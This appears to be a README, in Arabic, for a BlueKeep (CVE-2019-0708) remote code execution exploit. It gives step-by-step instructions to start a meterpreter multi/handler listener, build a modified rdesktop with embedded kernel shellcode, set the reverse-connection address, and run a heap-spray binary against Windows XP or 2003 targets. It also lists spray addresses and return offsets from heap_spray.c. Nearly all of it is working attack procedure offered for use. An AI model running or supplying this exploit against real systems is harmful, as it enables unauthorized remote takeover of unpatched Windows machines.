cve-2019-0708_bluekeep_rce

1. شغّل msfconsole meterpreter/multi/handler للاستماع على 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. عدّل config، وضبط عنوان IP ومنفذ الاتصال الراجع 192.168.116.133 6000
4. نفّذ ./heap_spray 192.168.116.134 (134 هو عنوان XP، والذاكرة أكبر من أو تساوي 2G)
5. ستحصل على جلسة (session) عبر msfconsole meterpreter

ملاحظة:

shellcode/shellcode.asm هو الكود المصدري لـ shellcode الخاص بالنواة، وبعد الترجمة يُحوَّل إلى ثنائي ليصبح ملف rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b، ويُدمج مباشرةً في البرنامج عند تنفيذ make.

يدعم XP فقط حاليًا، ويتطلب ذاكرة XP >= 2G

إذا كنت بحاجة إلى دعم 2003، فستحتاج إلى تعديل عنوان الماكرو HEAP_SPRAY_ADDRESS داخل heap_spray.c. بعد اختبارات متكررة، يختلف هذا العنوان باختلاف إصدارات نظام 03 وأحجام الذاكرة المختلفة. ولكن إذا أردت اختبار جهازك الخاص، فمن الممكن نجاح الاستغلال على 03. إنه ليس قابلاً للتطبيق العام.

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

اختبار 03

1. شغّل msfconsole meterpreter/multi/handler للاستماع على 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. عدّل config، وضبط عنوان IP ومنفذ الاتصال الراجع 192.168.116.133 6000
4. نفّذ ./_2003_heap_spray 192.168.116.135 (135 هو عنوان 03، والذاكرة أكبر من أو تساوي 2G)
5. ستحصل على جلسة (session) عبر msfconsole meterpreter